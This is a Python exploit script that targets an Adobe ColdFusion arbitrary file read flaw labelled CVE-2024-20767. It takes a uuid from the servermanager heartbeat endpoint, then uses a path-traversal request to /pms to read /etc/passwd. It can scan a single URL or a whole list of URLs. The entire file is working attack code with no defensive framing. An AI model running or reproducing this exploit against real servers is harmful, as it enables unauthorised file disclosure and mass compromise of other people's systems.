import requests,re
import urllib3
import string,random
from urllib.parse import urljoin,quote
import argparse
from bs4 import BeautifulSoup
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def read_file(file_path):
    with open(file_path, 'r') as file:
        urls = file.read().splitlines()
    return urls

def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def check(url):
    url = url.rstrip("/")
    target = urljoin(url,"/CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat")
    try:
        response = requests.get(target, headers={"User-Agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"},verify=False)
        repattern = r"<var name='uuid'><string>(.+?)</string></var>"
        uuid = re.findall(repattern, response.text)[0]
        if uuid:
            target = url + "/pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100"
            headers = {
                "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95",
                "uuid": "{}".format(uuid)
            }
            response = requests.get(target, headers=headers, verify=False)
            if response.status_code == 200 and 'root:x:0:0' in response.text and 'bin' in response.text:
                print(f"\033[31mDiscovered:{url}: AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead!\033[0m")
                return True
    except Exception as e:
        pass


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url", help="URL")
    parser.add_argument("-f", "--txt", help="file")
    args = parser.parse_args()
    url = args.url
    txt = args.txt

    if url:
        check(url)
    elif txt:
        urls = read_file(txt)
        for url in urls:
            check(url)
    else:
        print("help")